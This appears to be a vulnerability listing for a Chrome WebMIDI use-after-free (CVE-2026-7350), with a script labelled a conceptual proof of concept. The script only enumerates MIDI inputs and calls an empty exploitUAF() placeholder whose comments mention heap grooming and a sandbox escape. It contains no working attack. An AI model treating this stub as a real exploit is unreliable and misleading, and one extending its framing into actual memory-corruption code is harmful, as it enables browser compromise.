CVE-2026-7350 Google Chrome WebMIDI释放后重用漏洞

<!-- Conceptual PoC for WebMIDI UAF --> <script> // This script attempts to trigger the vulnerability in vulnerable Chrome versions function triggerExploit() { try { // Request MIDI Access to initialize the vulnerable component navigator.requestMIDIAccess().then(onMIDISuccess, onMIDIFailure); } catch (e) { console.log("WebMIDI not supported or error occurred"); } } function onMIDISuccess(midiAccess) { var inputs = midiAccess.inputs.values(); for (var input = inputs.next(); input && !input.done; input = inputs.next()) { // Logic to potentially trigger UAF on the MIDI input object // In a real exploit, this involves precise memory manipulation console.log("Input port: " + input.value.name); } // Hypothetical trigger for the Use-After-Free condition // This requires specific heap grooming to be effective exploitUAF(); } function exploitUAF() { // Placeholder for memory corruption logic // Designed to attempt a sandbox escape via the UAF console.log("Attempting to trigger UAF..."); } triggerExploit(); </script>